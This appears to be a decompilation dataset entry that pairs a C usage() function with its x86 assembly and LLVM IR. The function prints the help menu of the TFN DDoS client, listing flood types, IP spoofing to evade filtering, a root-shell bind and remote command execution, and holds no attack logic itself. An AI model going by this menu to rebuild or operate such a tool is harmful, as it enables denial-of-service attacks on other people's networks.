#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ exit(int);
int /*<<< orphan*/ printf(char *, ...);
void usage(char *arg) {
  printf("[1;34musage: %s <options>\n", arg);
  printf("[-P protocol]\tProtocol for server communication. Can be ICMP, UDP "
         "or TCP.\n\t\tUses a random protocol as default\n");
  printf("[-D n]       \tSend out n bogus requests for each real one to decoy "
         "targets\n");
  printf("[-S host/ip]\tSpecify your source IP. Randomly spoofed by default, "
         "you need\n\t\tto use your real IP if you are behind spoof-filtering "
         "routers\n");
  printf("[-f hostlist]\tFilename containing a list of hosts with TFN servers "
         "to contact\n");
  printf("[-h hostname]\tTo contact only a single host running a TFN server\n");
  printf("[-i target string]\tContains options/targets separated by '%s', see "
         "below\n",
         "@");
  printf("[-p port]         \tA TCP destination port can be specified for SYN "
         "floods\n");
  printf("<-c command ID>\t0 - Halt all current floods on server(s) "
         "immediately\n");
  printf("\t\t1 - Change IP antispoof-level (evade rfc2267 filtering)\n\t\t    "
         "usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)\n");
  printf("\t\t2 - Change Packet size, usage: -i <packet size in bytes>\n");
  printf("\t\t3 - Bind root shell to a port, usage: -i <remote port>\n");
  printf("\t\t4 - UDP flood, usage: -i victim%svictim2%svictim3%s...\n", "@",
         "@", "@");
  printf("\t\t5 - TCP/SYN flood, usage: -i victim%s... [-p destination port]\n",
         "@");
  printf("\t\t6 - ICMP/PING flood, usage: -i victim%s...\n", "@");
  printf("\t\t7 - ICMP/SMURF flood, usage: -i "
         "victim%sbroadcast%sbroadcast2%s...\n",
         "@", "@", "@");
  printf(
      "\t\t8 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim%s...\n",
      "@");
  printf("\t\t9 - TARGA3 flood (IP stack penetration), usage: -i victim%s...\n",
         "@");
  printf("\t\t10 - Blindly execute remote shell command, usage -i command\n");
  printf("[0;0m");
  exit(1);
}


x86 assembly (clang, -O0):
<usage>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    %rdi,-0x8(%rbp)
mov    -0x8(%rbp),%rsi
lea    0xec9(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xed7(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xf38(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xf76(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0xff4(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1035(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1069(%rip),%rdi
lea    0x10ac(%rip),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x10a0(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x10dd(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1115(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1185(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x11b3(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x11df(%rip),%rdi
lea    0x1051(%rip),%rcx
mov    %rcx,%rsi
mov    %rcx,%rdx
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x11fe(%rip),%rdi
lea    0x1036(%rip),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x122b(%rip),%rdi
lea    0x1021(%rip),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x1244(%rip),%rdi
lea    0x100c(%rip),%rcx
mov    %rcx,%rsi
mov    %rcx,%rdx
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x126f(%rip),%rdi
lea    0xff1(%rip),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x129e(%rip),%rdi
lea    0xfdc(%rip),%rsi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x12cb(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
lea    0x12fc(%rip),%rdi
mov    $0x0,%al
call   1030 <printf@plt>
mov    $0x1,%edi
call   1040 <exit@plt>

x86 assembly (clang, -O2):
<usage>:
push   %rbx
mov    %rdi,%rsi
lea    0xec5(%rip),%rdi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x109c(%rip),%rdi
call   1030 <puts@plt>
lea    0x10fe(%rip),%rdi
call   1030 <puts@plt>
lea    0x113d(%rip),%rdi
call   1030 <puts@plt>
lea    0x11bc(%rip),%rdi
call   1030 <puts@plt>
lea    0x11fe(%rip),%rdi
call   1030 <puts@plt>
lea    0xe97(%rip),%rdi
lea    0xeda(%rip),%rbx
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x121b(%rip),%rdi
call   1030 <puts@plt>
lea    0x1259(%rip),%rdi
call   1030 <puts@plt>
lea    0x1292(%rip),%rdi
call   1030 <puts@plt>
lea    0x1303(%rip),%rdi
call   1030 <puts@plt>
lea    0x1332(%rip),%rdi
call   1030 <puts@plt>
lea    0xe8f(%rip),%rdi
mov    %rbx,%rsi
mov    %rbx,%rdx
mov    %rbx,%rcx
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xeb2(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xee3(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xf00(%rip),%rdi
mov    %rbx,%rsi
mov    %rbx,%rdx
mov    %rbx,%rcx
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xf2f(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0xf62(%rip),%rdi
mov    %rbx,%rsi
xor    %eax,%eax
call   1040 <printf@plt>
lea    0x12ed(%rip),%rdi
call   1030 <puts@plt>
lea    0xf87(%rip),%rdi
xor    %eax,%eax
call   1040 <printf@plt>
mov    $0x1,%edi
call   1050 <exit@plt>

LLVM IR (-O0):
@.str = [28 x i8] c"\1B[1;34musage: %s <options>\0A\00"
@.str.1 = [111 x i8] c"[-P protocol]\09Protocol for server communication. Can be ICMP, UDP or TCP.\0A\09\09Uses a random protocol as default\0A\00"
@.str.2 = [76 x i8] c"[-D n] \09Send out n bogus requests for each real one to decoy targets\0A\00"
@.str.3 = [140 x i8] c"[-S host/ip]\09Specify your source IP. Randomly spoofed by default, you need\0A\09\09to use your real IP if you are behind spoof-filtering routers\0A\00"
@.str.4 = [79 x i8] c"[-f hostlist]\09Filename containing a list of hosts with TFN servers to contact\0A\00"
@.str.5 = [66 x i8] c"[-h hostname]\09To contact only a single host running a TFN server\0A\00"
@.str.6 = [74 x i8] c"[-i target string]\09Contains options/targets separated by '%s', see below\0A\00"
@.str.7 = [2 x i8] c"@\00"
@.str.8 = [75 x i8] c"[-p port] \09A TCP destination port can be specified for SYN floods\0A\00"
@.str.9 = [70 x i8] c"<-c command ID>\090 - Halt all current floods on server(s) immediately\0A\00"
@.str.10 = [126 x i8] c"\09\091 - Change IP antispoof-level (evade rfc2267 filtering)\0A\09\09 usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)\0A\00"
@.str.11 = [60 x i8] c"\09\092 - Change Packet size, usage: -i <packet size in bytes>\0A\00"
@.str.12 = [58 x i8] c"\09\093 - Bind root shell to a port, usage: -i <remote port>\0A\00"
@.str.13 = [58 x i8] c"\09\094 - UDP flood, usage: -i victim%svictim2%svictim3%s...\0A\00"
@.str.14 = [66 x i8] c"\09\095 - TCP/SYN flood, usage: -i victim%s... [-p destination port]\0A\00"
@.str.15 = [46 x i8] c"\09\096 - ICMP/PING flood, usage: -i victim%s...\0A\00"
@.str.16 = [70 x i8] c"\09\097 - ICMP/SMURF flood, usage: -i victim%sbroadcast%sbroadcast2%s...\0A\00"
@.str.17 = [68 x i8] c"\09\098 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim%s...\0A\00"
@.str.18 = [66 x i8] c"\09\099 - TARGA3 flood (IP stack penetration), usage: -i victim%s...\0A\00"
@.str.19 = [63 x i8] c"\09\0910 - Blindly execute remote shell command, usage -i command\0A\00"
@.str.20 = [7 x i8] c"\1B[0;0m\00"
define void @usage(i8* %0) {
%2 = alloca i8*
store i8* %0, i8** %2
%3 = load i8*, i8** %2
%4 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([28 x i8], [28 x i8]* @.str, i64 0, i64 0), i8* %3)
%5 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([111 x i8], [111 x i8]* @.str.1, i64 0, i64 0))
%6 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([76 x i8], [76 x i8]* @.str.2, i64 0, i64 0))
%7 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([140 x i8], [140 x i8]* @.str.3, i64 0, i64 0))
%8 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([79 x i8], [79 x i8]* @.str.4, i64 0, i64 0))
%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str.5, i64 0, i64 0))
%10 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([74 x i8], [74 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%11 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([75 x i8], [75 x i8]* @.str.8, i64 0, i64 0))
%12 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([70 x i8], [70 x i8]* @.str.9, i64 0, i64 0))
%13 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([126 x i8], [126 x i8]* @.str.10, i64 0, i64 0))
%14 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([60 x i8], [60 x i8]* @.str.11, i64 0, i64 0))
%15 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([58 x i8], [58 x i8]* @.str.12, i64 0, i64 0))
%16 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([58 x i8], [58 x i8]* @.str.13, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%17 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%18 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([46 x i8], [46 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%19 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([70 x i8], [70 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%20 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([68 x i8], [68 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%21 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([66 x i8], [66 x i8]* @.str.18, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%22 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([63 x i8], [63 x i8]* @.str.19, i64 0, i64 0))
%23 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([7 x i8], [7 x i8]* @.str.20, i64 0, i64 0))
%24 = call i32 @exit(i32 1)
unreachable
}

LLVM IR (-O2):
@.str = [28 x i8] c"\1B[1;34musage: %s <options>\0A\00"
@.str.6 = [74 x i8] c"[-i target string]\09Contains options/targets separated by '%s', see below\0A\00"
@.str.7 = [2 x i8] c"@\00"
@.str.13 = [58 x i8] c"\09\094 - UDP flood, usage: -i victim%svictim2%svictim3%s...\0A\00"
@.str.14 = [66 x i8] c"\09\095 - TCP/SYN flood, usage: -i victim%s... [-p destination port]\0A\00"
@.str.15 = [46 x i8] c"\09\096 - ICMP/PING flood, usage: -i victim%s...\0A\00"
@.str.16 = [70 x i8] c"\09\097 - ICMP/SMURF flood, usage: -i victim%sbroadcast%sbroadcast2%s...\0A\00"
@.str.17 = [68 x i8] c"\09\098 - MIX flood (UDP/TCP/ICMP interchanged), usage: -i victim%s...\0A\00"
@.str.18 = [66 x i8] c"\09\099 - TARGA3 flood (IP stack penetration), usage: -i victim%s...\0A\00"
@.str.20 = [7 x i8] c"\1B[0;0m\00"
@str = [110 x i8] c"[-P protocol]\09Protocol for server communication. Can be ICMP, UDP or TCP.\0A\09\09Uses a random protocol as default\00"
@str.21 = [75 x i8] c"[-D n] \09Send out n bogus requests for each real one to decoy targets\00"
@str.22 = [139 x i8] c"[-S host/ip]\09Specify your source IP. Randomly spoofed by default, you need\0A\09\09to use your real IP if you are behind spoof-filtering routers\00"
@str.23 = [78 x i8] c"[-f hostlist]\09Filename containing a list of hosts with TFN servers to contact\00"
@str.24 = [65 x i8] c"[-h hostname]\09To contact only a single host running a TFN server\00"
@str.25 = [74 x i8] c"[-p port] \09A TCP destination port can be specified for SYN floods\00"
@str.26 = [69 x i8] c"<-c command ID>\090 - Halt all current floods on server(s) immediately\00"
@str.27 = [125 x i8] c"\09\091 - Change IP antispoof-level (evade rfc2267 filtering)\0A\09\09 usage: -i 0 (fully spoofed) to -i 3 (/24 host bytes spoofed)\00"
@str.28 = [59 x i8] c"\09\092 - Change Packet size, usage: -i <packet size in bytes>\00"
@str.29 = [57 x i8] c"\09\093 - Bind root shell to a port, usage: -i <remote port>\00"
@str.30 = [62 x i8] c"\09\0910 - Blindly execute remote shell command, usage -i command\00"
define void @usage(i8* %0) {
%2 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([28 x i8], [28 x i8]* @.str, i64 0, i64 0), i8* %0)
%3 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([110 x i8], [110 x i8]* @str, i64 0, i64 0))
%4 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([75 x i8], [75 x i8]* @str.21, i64 0, i64 0))
%5 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([139 x i8], [139 x i8]* @str.22, i64 0, i64 0))
%6 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([78 x i8], [78 x i8]* @str.23, i64 0, i64 0))
%7 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([65 x i8], [65 x i8]* @str.24, i64 0, i64 0))
%8 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([74 x i8], [74 x i8]* @.str.6, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%9 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([74 x i8], [74 x i8]* @str.25, i64 0, i64 0))
%10 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([69 x i8], [69 x i8]* @str.26, i64 0, i64 0))
%11 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([125 x i8], [125 x i8]* @str.27, i64 0, i64 0))
%12 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([59 x i8], [59 x i8]* @str.28, i64 0, i64 0))
%13 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([57 x i8], [57 x i8]* @str.29, i64 0, i64 0))
%14 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([58 x i8], [58 x i8]* @.str.13, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%15 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([66 x i8], [66 x i8]* @.str.14, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%16 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([46 x i8], [46 x i8]* @.str.15, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%17 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([70 x i8], [70 x i8]* @.str.16, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%18 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([68 x i8], [68 x i8]* @.str.17, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%19 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([66 x i8], [66 x i8]* @.str.18, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.7, i64 0, i64 0))
%20 = tail call i32 @puts(i8* dereferenceable(1) getelementptr inbounds ([62 x i8], [62 x i8]* @str.30, i64 0, i64 0))
%21 = tail call i32 (i8*, ...) @printf(i8* dereferenceable(1) getelementptr inbounds ([7 x i8], [7 x i8]* @.str.20, i64 0, i64 0))
%22 = tail call i32 @exit(i32 1)
unreachable
}